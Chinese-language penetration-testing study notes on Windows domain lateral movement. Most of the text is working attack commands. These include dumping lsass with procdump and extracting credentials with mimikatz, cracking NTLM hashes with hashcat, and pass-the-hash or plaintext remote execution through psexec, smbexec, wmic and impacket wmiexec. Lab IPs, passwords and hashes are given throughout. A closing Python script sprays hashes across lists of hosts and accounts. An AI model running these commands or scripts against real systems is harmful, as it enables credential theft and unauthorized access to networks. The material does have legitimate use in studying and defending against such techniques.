知识点1:
windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,提供了4钟方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
知识点2
windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash
注册表修改
修改wdigest 改为1
案例1-Procdump+Mimikatz配合获取
procdump配合mimikatz
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Pwdump7
QuarksPwdump
hashcat -a 0 -m 1000 hash file --force
案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
psexec第一种:先有ipc链接,psexec需要明文或hash传递
net use \192.168.3.32ipc$ "admin!@#45" /user:ad
ministrator
psexec \192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行
psexec第二种:不用建立IPC直接提供明文账户密码
psexec \192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools无法采用hash连接
非官方自带-参考impacket工具包使用,操作简单,容易被杀
smbexec无需先ipc链接 明文或hash传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
案例3-域横向移动WMI服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:1.txt"
自带cscript明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件impacket wmiexec 明文或hash传递 有回显exe版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
案例4-域横向移动以上服务hash批量利用-python编译exe
pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hash god/user@ip whoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)